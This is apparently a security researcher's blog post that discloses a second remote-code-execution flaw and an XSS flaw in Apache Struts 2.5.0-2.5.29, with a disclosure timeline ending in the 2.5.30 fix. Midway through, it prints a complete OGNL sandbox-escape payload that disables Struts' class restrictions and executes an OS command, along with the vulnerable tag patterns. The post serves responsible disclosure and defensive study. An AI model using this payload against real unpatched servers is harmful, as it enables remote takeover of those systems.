2nd RCE and XSS in Apache Struts before 2.5.30

2nd RCE and XSS in Apache Struts 2.5.0 - 2.5.29


In early April 2021 I disclosed a 0day on Apache Struts 2.5.0-2.5.29 here after responsibly disclosing it and eventually getting permission from Apache Struts. However, I decided to keep digging and found a second, new RCE caused by double OGNL evaluation via a different vector which I'll be describing here. 

If you want to know more about Apache Struts RCEs via OGNL evaluations I highly recommend checking out the work by Man Yue Mo and Alvaro Munoz. You can find it here:

Vulnerability Analysis

OGNL evaluations are exploitable when OGNL code is evaluated twice. This is often done when the "findString" or "findValue" function are called consecutively inside an object like Component or UIBean object. In order to find these issues you typically search through java files to find where a second call to findString or findValue is called on a user defined value. 

However, reading through the work mentioned above by Man Yue Mo and Alvaro Munoz you'll notice you can also find OGNL evaluations in other parts of code including .ftl FreeMarker files. In this case the Apache Freemarker syntax is different, but similar issues can exist. These files in struts are typically used to define how an element will present itself in the final html code. 

Looking at the select.ftl file I noticed a double OGNL evaluation was occurring in the 'listValueKey' . 

First at line 73  when it assigns valueKey to the result of findString on listValueKey.
<#assign valueKey = stack.findString(parameters.listValueKey)!'' />

Second at line 75 when it calls getText.
<#assign itemValue = struts.getText(valueKey) />
However, unlike findString and findValue functions getText ultimately calls StrutsUtil.java getText. In particular it calls this line:
return (String) stack.findValue("getText('" + text + "')");
This made things a bit different. When passing in text = "3*3", it evaluated to 9. However, when passing in text = "#application" or "#application.toString()" it would return a blank value rather than the string of the application object. So it must mean that getText has a limitation on what values it can query. 

Since the select.ftl file already ran findString the 'text' value being passed is the user defined value in this case. This means I can provide whatever string value as the "text" in StrutsUtil.getText and since text isn't escaped all special characters can be provided as well. 

So passing text = a') + #application + getText('b will result in: stack.findValue("getText('a') + #application + getText('b')") which allows you to evaluate variables outside of the 'getText()' limited function.  From there you can once again create your sandbox escape and reach RCE. 


Using the previous sandbox escape found at here:

This ends up being a url encoded version of:
a') + (#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'})) + getText('b

An example of vulnerable struts element this would apply to is the following where the listValueKey of a select object would be affected:

 <s:select label="Pets"
        list="#{'01':'Jan', '02':'Feb'}"
Here's the POC in action:


There's also a minor XSS issue in the doubleselect element for the 'name' value. This XSS is triggered during an onchange event requiring user interaction. 

The onchange value is added to the page because the doubleselect.ftl includes select.ftl
Which includes scripting-event.ftl , which adds the onchange event

Doubleselect is a UIBean so it gets its 'id' value from the 'name' when id is not set. This uses the name value instead of random values to populate these fields allowing for a possible XSS issue.

<s:doubleselect label="Fruits (OGNL) "
name="%{empId}" ....>


In between these dates I sent multiple emails explaining the criticality of this issue and answering questions and brief suggestions on mitigations.
  • May 6th 2021 - Submitted a second double OGNL evaluation vulnerability leading to RCE. Also submitted an XSS issue as well to Apache Struts.
  • May 2021 - Got a reply that they are taking it seriously and looking into these issues.  
  • April 5th 2022 - Fixes finally added in 2.5.30.  https://struts.apache.org/announce-2022#a20220404  https://github.com/apache/struts/commit/8d6e26e0feb8cb1669f45a66e458860534b94571


Popular posts from this blog

Exploiting Struts RCE on 2.5.26